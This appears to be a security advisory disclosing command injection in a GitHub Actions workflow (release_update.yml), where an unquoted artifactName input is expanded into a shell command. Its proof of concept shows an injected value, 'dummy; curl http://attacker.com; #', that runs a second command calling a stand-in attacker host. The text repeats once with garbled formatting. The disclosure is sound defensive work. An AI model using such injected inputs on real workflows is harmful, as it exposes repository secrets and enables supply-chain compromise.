Summary
Command injection in release_update.yml workflow dispatch input allows arbitrary code execution.
Details
The workflow at .github/workflows/release_update.yml expands user input without proper quoting:
mv ${{ inputs.artifactName }}.zip lawnchair.zip
The inputs.artifactName parameter is directly substituted into the shell command, enabling command injection.
PoC
- Navigate to Actions → Release Update workflow
- Click "Run workflow"
- Enter artifact name:
dummy; curl http://attacker.com; #
- Command executed:
mv dummy; curl http://attacker.com; #.zip lawnchair.zip
- Arbitrary commands execute in the Actions runner context
Impact
- Arbitrary code execution on GitHub Actions runner
- Access to repository secrets and credentials
- Ability to exfiltrate sensitive data
- Potential for supply chain attacks
Summary
Command injection in release_update.yml workflow dispatch input allows arbitrary code execution.
Details
The workflow at
.github/workflows/release_update.ymlexpands user input without proper quoting:mv ${{ inputs.artifactName }}.zip lawnchair.zipThe
inputs.artifactNameparameter is directly substituted into the shell command, enabling command injection.PoC
dummy; curl http://attacker.com; #mv dummy; curl http://attacker.com; #.zip lawnchair.zipImpact